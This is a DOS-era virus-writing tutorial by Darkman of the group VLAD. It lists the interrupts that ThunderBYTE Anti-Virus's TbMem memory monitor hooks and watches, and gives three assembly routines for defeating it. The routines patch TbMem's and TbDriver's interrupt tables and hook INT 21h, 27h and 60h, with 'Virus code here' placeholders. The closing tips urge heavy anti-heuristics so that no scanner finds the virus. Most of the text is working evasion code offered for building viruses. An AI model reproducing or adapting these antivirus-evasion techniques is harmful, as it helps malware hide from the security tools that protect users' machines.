T B M E M F L A W S Written by Darkman/VLAD 컴컴컴컴컴컴 Introduction 컴컴컴컴컴컴 This document is another example of how to make a program resident in memory without the memory resident of ThunderBYTE Anti-Virus: TbMem detects it. This document also covers which interrupts are hooked by TbMem and which interrupts are monitored by TbMem. All examples in this document will hook interrupt 21h. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Thunderbyte B.V. about TbMem 컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Controlling memory: TbMem TbMem detects attempts from programs to remain resident in memory, and ensures that no program can remain resident in memory without permis- sion. Since most viruses remain resident in memory, this is a powerful weapon against all such viruses, known or unknown. Permission informa- tion is maintained in the Anti-Vir.Dat files. TbMem also protects your CMOS memory against unwanted modifications. 컴컴컴컴컴컴컴컴컴컴컴컴�- Interrupts hooked by TbMem 컴컴컴컴컴컴컴컴컴컴컴컴컴 These interrupts are hooked by TbMem: INT 09h (IRQ 1 Keyboard) [TBSeg:0269] INT 2Fh (Software Multiplex) [TBSeg:00DB] 컴컴컴컴컴컴컴컴컴컴컴컴컴컴- Interrupts monitored by TbMem 컴컴컴컴컴컴컴컴컴컴컴컴컴컴� These interrupts are monitored by TbMem: INT 08h (IRQ 0 System timer) [TBSeg:0060] INT 09h (IRQ 1 Keyboard) [TBSeg:0064] INT 10h (BIOS System Video Services) [TBSeg:0068] INT 13h (BIOS Fixed disk/FDD Services) [TBSeg:004C] INT 15h (BIOS System Services) [TBSeg:0088] INT 16h (BIOS Keyboard Services) [TBSeg:006C] INT 17h (BIOS Printer Services (LPT)) [TBSeg:007C] INT 1Ah (BIOS Real-Time Clock Services) [TBSeg:0074] INT 1Ch (BIOS User Timer Tick) [TBSeg:005C] INT 20h (DOS Program Terminate) [TBSeg:0050] INT 21h (DOS Function call) [TBSeg:0054] INT 26h (DOS Absolute Disk Write) [TBSeg:0090] INT 28h (DOS Idle) [TBSeg:0070] INT 29h (DOS Fast Console Output) [TBSeg:0078] INT 2Ah (Local Area Network) [TBSeg:0098] INT 2Fh (Software Multiplex) [TBSeg:0058] INT 40h (BIOS Diskette Service) [TBSeg:008C] INT 50h (BIOS Reserved) [TBSeg:0094] INT 70h (IRQ 8 AT Real Time Clock) [TBSeg:0080] INT 76h (IRQ 14 AT Fixed Disk) [TBSeg:0084] TbMem will also warn the user if INT 27h (DOS Terminate and Stay Res.) or INT 21h, function 31h (DOS Function call, Terminate but stay resident) is called. 컴컴컴컴컴컴컴컴컴컴�- How to trick TbMem 1/3 컴컴컴컴컴컴컴컴컴컴컴 The below code must be included to trick TbMem 1/3: 1. Hook interrupt 21h. 2. Modify TbMems interrupt vector table. 컴컴컴컴컴컴컴컴�- Hook interrupt 21h 컴컴컴컴컴컴컴컴컴 The below code shows an example of how to hook interrupt 21h: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table lea di,int21adr ; DI = offset of int21adr mov si,(21h*04h) ; SI = offset of interrupt 21h movsw ; Store address of interrupt 21h \ movsw ; in int21adr / mov word ptr ds:[21h*04h],offset int21handler mov ds:[21h*04h+02h],es ; Intercept interrupt 21h pop ds ; Load DS from stack ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�- Modify TbMems interrupt vector table 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 The below code shows an example of how to modify TbMems interrupt vector table: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt vectors mov ds,ds:[09h*04+02h] ; DS = Segment of TbMem mov word ptr ds:[0054h],offset int21handler mov ds:[0056h],es ; Modify the segment of interrupt 21h push ds ; Save DS at stack ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴컴 How to trick TbMem 2/3 컴컴컴컴컴컴컴컴컴컴�- The below code must be included to trick TbMem 2/3: 1. Installation check. 2. Hook interrupt 60h. 3. Modify TbDrivers interrupt 21h. 4. Interrupt 60h handler. 컴컴컴컴컴컴컴컴�- Installation check 컴컴컴컴컴컴컴컴�- The below code shows an example of how to check if the trick allready has been installed: ;------------------------------------------------------------=< cut here >=--- mov ax,63ffh ; Interrupt 21h service int 21h ; Do it! cmp ax,bx ; Already resident? je trickexit ; Equal? Jump to trickexit ; Trick TbMem here... trickexit: ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴�- Hook interrupt 60h 컴컴컴컴컴컴컴컴컴 The below code shows an example of how to hook interrupt 60h: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table mov word ptr ds:[60h*04h],offset int60handler mov ds:[60h*04h+02h],es ; Intercept interrupt 60h pop ds ; Load DS from stack ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴�- Modify TbDrivers interrupt 21h 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 The below code shows an example of how to modify TbDrivers interrupt 21h: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt vectors lds si,ds:[21h*04h] ; Get address of interrupt 21h mov [si],060cdh ; Write a INT 60h instruction pop ds ; Load DS from stack ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴- Interrupt 60h handler 컴컴컴컴컴컴컴컴컴컴- The below code shows an example of an interrupt 60h handler: ;------------------------------------------------------------=< cut here >=--- int60handler proc near ; Interrupt 60h handler cmp ax,63ffh ; Interrupt 60h service? je int60servi ; Equal? Jump to int60servi ; Virus code here... iret ; Interrupt return! int60servi: mov bx,ax iret ; Interrupt return! endp ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴�- How to trick TbMem 3/3 컴컴컴컴컴컴컴컴컴컴�- The below code must be included to trick TbMem 3/3: 1. Installation check. 2, Hook interrupt 27h. 3. Interrupt 27h handler. 4. Interrupt 21h handler. 컴컴컴컴컴컴컴컴�- Installation check 컴컴컴컴컴컴컴컴�- The below code shows an example of how to check if the trick allready has been installed: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt vectors lds si,ds:[27h*04h] ; Get address of interrupt 27h cmp [si],5350h ; Interrupt 27h hooked? pop ds ; Load DS from stack je trickexit ; Already hooked? Jump to trickexit ; Trick TbMem here... trickexit: ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴�- Hook interrupt 27h 컴컴컴컴컴컴컴컴�- The below code shows an example of how to hook interrupt 27h: ;------------------------------------------------------------=< cut here >=--- push ds ; Save DS at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table lea di,int27adr ; DI = offset of int27adr mov si,(27h*04h) ; SI = offset of interrupt 27h movsw ; Store address of interrupt 27h \ movsw ; in int27adr / mov word ptr ds:[27h*04h],offset int27handler mov ds:[27h*04h+02h],es ; Intercept interrupt 27h pop ds ; Load DS from stack ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴- Interrupt 27h handler 컴컴컴컴컴컴컴컴컴컴- The below code shows an example of an interrupt 27h handler: ;------------------------------------------------------------=< cut here >=--- int27handler proc near ; Interrupt 27h handler push ax ; Save AX at stack push bx ; Save BX at stack mov ax,63feh ; Interrupt 21h service int 21h ; Do it! cmp ax,bx ; Already resident? je int27exit ; Equal? Jump to int27exit push di ; Save DI at stack push si ; Save SI at stack push ds ; Save DS at stack push es ; Save ES at stack xor ax,ax ; Clear AX mov ds,ax ; DS = segment of interrupt table push cs ; Save CS at stack pop es ; Load ES from stack lea di,int21adr ; DI = offset of int21adr mov si,(21h*04h) ; SI = offset of interrupt 21h movsw ; Store address of interrupt 21h \ movsw ; in int21adr / mov word ptr ds:[21h*04h],offset int21handler mov ds:[21h*04h+02h],cs ; Intercept interrupt 21h pop es ; Load ES from stack pop ds ; Load DS from stack pop si ; Load SI from stack pop di ; Load DI from stack int27exit: pop bx ; Load BX from stack pop ax ; Load AX from stack db 0eah ; Object code of jump far int27adr dd ? ; Address of interrupt 27h endp ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴- Interrupt 21h handler 컴컴컴컴컴컴컴컴컴컴- The below code shows an example of an interrupt 21h handler: ;------------------------------------------------------------=< cut here >=--- int21handler proc near ; Interrupt 21h handler cmp ax,63feh ; Interrupt 21h service? je int21servi ; Equal? Jump to int21servi ; Virus code here... db 0eah ; Object code of jump far int21adr dd ? ; Address of interrupt 21h int21servi: mov bx,ax iret ; Interrupt return! endp ;------------------------------------------------------------=< cut here >=--- 컴컴컴컴컴컴컴컴컴컴- Final tips and tricks 컴컴컴컴컴컴컴컴컴컴- - Detect TbMem before using these tricks. - These examples were tested with ThunderBYTE Anti-Virus v 6.32. - Use a lot anti-heuristics, so other programs can't find the virus either. - Look also at Catch-22 by Rhincewind/VLAD.